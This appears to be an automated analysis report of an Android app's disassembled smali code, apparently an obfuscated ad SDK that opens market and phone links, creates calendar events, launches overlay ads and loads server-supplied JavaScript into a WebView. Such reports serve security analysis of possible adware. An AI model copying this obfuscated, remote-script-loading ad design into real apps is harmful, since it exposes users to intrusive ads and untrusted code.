225invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
227iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
229invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
231iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button;
233invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
235iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button;
237invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
239iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button;
240const/4 v8, 0x0
242invoke-virtual {v7, v8}, Landroid/widget/Button;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 0
244iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button;
245const/4 v8, 0x0
247invoke-virtual {v7, v8}, Landroid/widget/Button;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 0
248return-void
APIs
  • android.app.Activity.onCreate
  • com.vxjxu.jkhfn1870.BrowserActivity.getIntent
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getStringExtra
  • java.lang.String.startsWith
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity.startActivity
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • com.vxjxu.jkhfn1870.BrowserActivity.showBrowser
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • java.lang.String.equals
  • android.content.Intent.getStringExtra
  • com.vxjxu.jkhfn1870.BrowserActivity.requestWindowFeature
  • com.vxjxu.jkhfn1870.BrowserActivity.setTheme
  • android.app.Activity.onCreate
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.net.Uri.parse
  • android.content.Intent.setDataAndType
  • com.vxjxu.jkhfn1870.BrowserActivity.startActivityForResult
  • java.lang.Throwable.printStackTrace
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.BrowserActivity.requestWindowFeature
  • com.vxjxu.jkhfn1870.BrowserActivity.setTheme
  • android.app.Activity.onCreate
  • android.content.Intent.getStringExtra
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • android.content.ActivityNotFoundException.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
Strings
  • browser
  • url
  • market://
  • tel:
  • android.intent.action.VIEW
  • playVideo
  • video/*
  • newCalendarEvent
  • json
  • createCalendarEvent
  • Calendar json is empty
  • error
  • Calendar activity not found.
  • Calendar json parsing error
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4try_start_3:
5invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getIntent()Landroid/content/Intent;
6move-result-object v3
8invoke-virtual {v3}, Landroid/content/Intent;->getAction()Ljava/lang/String;
9move-result-object v0
11const-string v8, "browser"
13invoke-virtual {v0, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: browser
14move-result v8
15if-eqz v8, :cond_47
17const-string v8, "url"
19invoke-virtual {v3, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: url
20move-result-object v7
22const-string v8, "market://"
24invoke-virtual {v7, v8}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: market://
25move-result v8
26if-nez v8, :cond_29
28const-string v8, "tel:"
30invoke-virtual {v7, v8}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: tel:
31move-result v8
32if-eqz v8, :cond_3b
33cond_29: new-instance v5, Landroid/content/Intent;
35const-string v8, "android.intent.action.VIEW"
37invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
38move-result-object v9
40invoke-direct {v5, v8, v9}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
42invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->startActivity(Landroid/content/Intent;)V
44invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
45cond_3a: return-void
46cond_3b:
47invoke-direct {p0, v7}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->showBrowser(Ljava/lang/String;)V
48try_end_3e: goto/16 :goto_3a
49catch_3f: move-exception v2
51invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
53invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
54goto/16 :goto_3a
55try_start_47:
56const-string v8, "playVideo"
58invoke-virtual {v0, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: playVideo
59move-result v8
60if-eqz v8, :cond_84
62const-string v8, "url"
64invoke-virtual {v3, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: url
65move-result-object v7
66const/4 v8, 0x1
68invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->requestWindowFeature(I)Z
  • Data flow analysis:
    • featureId: 1
69const v8, 0x1030010
71invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setTheme(I)V
  • Data flow analysis:
    • p0: 16973840
73invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
74new-instance v4, Landroid/content/Intent;
76const-string v8, "android.intent.action.VIEW"
78invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
79move-result-object v9
81invoke-direct {v4, v8, v9}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
83invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
84move-result-object v8
86const-string v9, "video/*"
88invoke-virtual {v4, v8, v9}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p1: video/*
89const/16 v8, 0x8
91invoke-virtual {p0, v4, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->startActivityForResult(Landroid/content/Intent;I)V
  • Data flow analysis:
    • requestCode: 8
92try_end_7b: goto/16 :goto_3a
93catch_7c: move-exception v1
95invoke-virtual {v1}, Ljava/lang/Throwable;->printStackTrace()V
97invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
98goto/16 :goto_3a
99cond_84:
100const-string v8, "newCalendarEvent"
102invoke-virtual {v0, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: newCalendarEvent
103move-result v8
104if-eqz v8, :cond_3a
105const/4 v8, 0x1
107invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->requestWindowFeature(I)Z
  • Data flow analysis:
    • featureId: 1
108const v8, 0x1030010
110invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setTheme(I)V
  • Data flow analysis:
    • p0: 16973840
112invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
113try_end_99:
114const-string v8, "json"
116invoke-virtual {v3, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: json
117move-result-object v6
118if-eqz v6, :cond_a9
120const-string v8, ""
122invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
123move-result v8
124if-eqz v8, :cond_dc
125cond_a9:
126sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
128const-string v9, "createCalendarEvent"
130const-string v10, "Calendar json is empty"
132invoke-virtual {v8, v9, v10}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: createCalendarEvent
    • p1: Calendar json is empty
134sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
135const/4 v9, 0x1
137invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
139invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
140try_end_bb: goto/16 :goto_3a
141catch_bd: move-exception v1
142try_start_be:
143invoke-virtual {v1}, Landroid/content/ActivityNotFoundException;->printStackTrace()V
145sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
147const-string v9, "error"
149invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
151sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
153const-string v9, "createCalendarEvent"
155const-string v10, "Calendar activity not found."
157invoke-virtual {v8, v9, v10}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: createCalendarEvent
    • p1: Calendar activity not found.
159sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
160const/4 v9, 0x1
162invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
164invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
165try_end_da: goto/16 :goto_3a
166cond_dc:
167invoke-static {p0, v6}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->createCalenderEvent(Landroid/app/Activity;Ljava/lang/String;)V
168try_end_df: goto/16 :goto_3a
169catch_e1: move-exception v2
170try_start_e2:
171sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
173const-string v9, "error"
175invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
177invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
179sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
181const-string v9, "createCalendarEvent"
183const-string v10, "Calendar json parsing error"
185invoke-virtual {v8, v9, v10}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: createCalendarEvent
    • p1: Calendar json parsing error
187sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
188const/4 v9, 0x1
190invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
192invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
193try_end_fe: goto/16 :goto_3a
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equalsIgnoreCase
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • org.json.JSONObject.getBoolean
  • org.json.JSONObject.getString
  • org.json.JSONObject.<init>
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • com.vxjxu.jkhfn1870.OverlayAd.setAdtype
  • com.vxjxu.jkhfn1870.OverlayAd.setApiUrl
  • com.vxjxu.jkhfn1870.OverlayAd.setError
  • com.vxjxu.jkhfn1870.OverlayAd.setWidth
  • com.vxjxu.jkhfn1870.OverlayAd.setHeight
  • com.vxjxu.jkhfn1870.OverlayAd.setTag
  • java.lang.String.equals
  • java.lang.Thread.<init>
  • java.lang.Thread.start
  • android.util.Log.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
Strings
  • status
  • message
  • invalid
  • adtype
  • error
  • Success
  • data
  • nodata
  • tag
  • height
  • width
  • api_url
  • OLAU
  • DAU
  • DCC
  • DCM
  • overlay_showing
  • AirplaySDK
  • Error occurred in overlay ad
  • Invalid adtype delivered in overylay ad
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
2try_start_0: new-instance v7, Lorg/json/JSONObject;
3move-object/from16 v0, p1
5invoke-direct {v7, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
7const-string v13, "status"
9invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
10move-result v13
11if-eqz v13, :cond_4c
12const/4 v10, 0x0
13goto_10:
14const-string v13, "message"
16invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
17move-result v13
18if-eqz v13, :cond_53
20const-string v9, "invalid"
21goto_1a:
22const-string v13, "adtype"
24invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: adtype
25move-result v13
26if-eqz v13, :cond_5a
28const-string v1, ""
29goto_24:
30const-string v13, "error"
32invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: error
33move-result v13
34if-eqz v13, :cond_61
35const/4 v4, 0x0
36goto_2d: const/16 v13, 0xc8
37if-ne v10, v13, :cond_f5
39const-string v13, "Success"
41invoke-virtual {v9, v13}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
42move-result v13
43if-eqz v13, :cond_f5
45const-string v13, "data"
47invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: data
48move-result v13
49if-eqz v13, :cond_68
51const-string v2, "nodata"
52goto_43:
53const-string v13, "nodata"
55invoke-virtual {v2, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: nodata
56move-result v13
57if-eqz v13, :cond_6f
58goto_4b: return-void
59cond_4c:
60const-string v13, "status"
62invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
63move-result v10
64goto/16 :goto_10
65cond_53:
66const-string v13, "message"
68invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
69move-result-object v9
70goto/16 :goto_1a
71cond_5a:
72const-string v13, "adtype"
74invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adtype
75move-result-object v1
76goto/16 :goto_24
77cond_61:
78const-string v13, "error"
80invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: error
81move-result v4
82goto/16 :goto_2d
83cond_68:
84const-string v13, "data"
86invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: data
87move-result-object v2
88goto/16 :goto_43
89cond_6f: new-instance v8, Lorg/json/JSONObject;
91invoke-direct {v8, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
93const-string v13, "tag"
95invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: tag
96move-result-object v11
98const-string v13, "height"
100invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: height
101move-result v5
103const-string v13, "width"
105invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: width
106move-result v12
108const-string v13, "api_url"
110invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: api_url
111move-result-object v6
113invoke-static {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setAdtype(Ljava/lang/String;)V
115invoke-static {v6}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setApiUrl(Ljava/lang/String;)V
117invoke-static {v4}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setError(Z)V
119invoke-static {v12}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setWidth(I)V
121invoke-static {v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setHeight(I)V
123invoke-static {v11}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setTag(Ljava/lang/String;)V
125const-string v13, "OLAU"
127invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: OLAU
128move-result v13
129if-nez v13, :cond_be
131const-string v13, "DAU"
133invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
134move-result v13
135if-nez v13, :cond_be
137const-string v13, "DCC"
139invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
140move-result v13
141if-nez v13, :cond_be
143const-string v13, "DCM"
145invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
146move-result v13
147if-eqz v13, :cond_db
148cond_be: new-instance v13, Ljava/lang/Thread;
149new-instance v14, Lcom/vxjxu/jkhfn1870/AirPlay$8;
150move-object/from16 v0, p0
152invoke-direct {v14, v0, v1}, Lcom/vxjxu/jkhfn1870/AirPlay$8;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;Ljava/lang/String;)V
154const-string v15, "overlay_showing"
156invoke-direct {v13, v14, v15}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: overlay_showing
158invoke-virtual {v13}, Ljava/lang/Thread;->start()V
159try_end_cf: goto/16 :goto_4b
160catch_d1: move-exception v3
162const-string v13, "AirplaySDK"
164const-string v14, "Error occurred in overlay ad"
166invoke-static {v13, v14, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in overlay ad
167goto/16 :goto_4b
168cond_db:
169const-string v13, "AirplaySDK"
170new-instance v14, Ljava/lang/StringBuilder;
172invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
174const-string v15, "Invalid adtype delivered in overylay ad "
176invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid adtype delivered in overylay ad
177move-result-object v14
179invoke-virtual {v14, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
180move-result-object v14
182invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
183move-result-object v14
185invoke-static {v13, v14}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
186goto/16 :goto_4b
187cond_f5:
188invoke-static {v10, v9}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
189try_end_f8: goto/16 :goto_4b
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • java.lang.String.endsWith
  • java.lang.String.lastIndexOf
  • java.lang.String.length
  • java.lang.String.substring
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.loadDataWithBaseURL
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.loadDataWithBaseURL
  • android.util.Log.e
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.loadDataWithBaseURL
  • android.util.Log.e
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.loadDataWithBaseURL
  • android.util.Log.e
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.loadUrl
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
Strings
  • .js
  • /
  • <html><head><script type=\"text/javascript\" src=\"
  • \"/>
  • </head><body></body></html>
  • text/html
  • utf-8
  • AirplayMraid
  • Tag data is null
  • <html><head></head><body>
  • </body></html>
  • tag data is null
  • Invalid url:
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2const/4 v5, 0x0
4invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
5move-result-object v0
7invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->getDoc(Landroid/content/Context;)Ljava/lang/String;
8move-result-object v0
10invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
11if-eqz p1, :cond_55
13const-string v0, ".js"
15invoke-virtual {p1, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: .js
16move-result v0
17if-eqz v0, :cond_55
19const-string v0, "/"
21invoke-virtual {p1, v0}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: /
22move-result v11
24invoke-virtual {p1}, Ljava/lang/String;->length()I
25move-result v0
26add-int/lit8 v0, v0, -0x1
28invoke-virtual {p1, v11, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
29move-result-object v10
30const/4 v0, 0x0
31add-int/lit8 v2, v11, -0x1
33invoke-virtual {p1, v0, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
34move-result-object v1
35new-instance v0, Ljava/lang/StringBuilder;
37invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
39const-string v2, "<html><head><script type=\"text/javascript\" src=\""
41invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head><script type=\"text/javascript\" src=\"
42move-result-object v0
44invoke-virtual {v0, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v0
47const-string v2, "\"/>"
49invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \"/>
50move-result-object v0
52const-string v2, "</head><body></body></html>"
54invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </head><body></body></html>
55move-result-object v0
57invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
58move-result-object v2
60const-string v3, "text/html"
62const-string v4, "utf-8"
63move-object v0, p0
65invoke-virtual/range {v0 .. v5}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p2: text/html
    • p3: utf-8
    • p4: 0
66goto_54: return-void
67cond_55:
68iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
70invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript()Z
71move-result v0
72if-eqz v0, :cond_8b
74iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
76invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
77move-result-object v0
78if-eqz v0, :cond_83
80iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
82invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
83move-result-object v0
85const-string v2, ""
87invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
88move-result v0
89if-nez v0, :cond_83
91iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
93invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
94move-result-object v6
96const-string v7, "text/html"
98const-string v8, "utf-8"
99move-object v4, p0
100move-object v9, v5
102invoke-virtual/range {v4 .. v9}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: utf-8
    • p4: 0
103goto/16 :goto_54
104cond_83:
105const-string v0, "AirplayMraid"
107const-string v2, "Tag data is null"
109invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Tag data is null
110goto/16 :goto_54
111cond_8b:
112iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
114invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd()Z
115move-result v0
116if-eqz v0, :cond_e2
118iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
120invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
121move-result-object v0
122if-eqz v0, :cond_d9
124iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
126invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
127move-result-object v0
129const-string v2, ""
131invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
132move-result v0
133if-nez v0, :cond_d9
134new-instance v0, Ljava/lang/StringBuilder;
136invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
138const-string v2, "<html><head><script type=\"text/javascript\" src=\""
140invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head><script type=\"text/javascript\" src=\"
141move-result-object v0
143iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
145invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String;
146move-result-object v2
148invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
149move-result-object v0
151const-string v2, "\"/>"
153invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \"/>
154move-result-object v0
156const-string v2, "</head><body></body></html>"
158invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </head><body></body></html>
159move-result-object v0
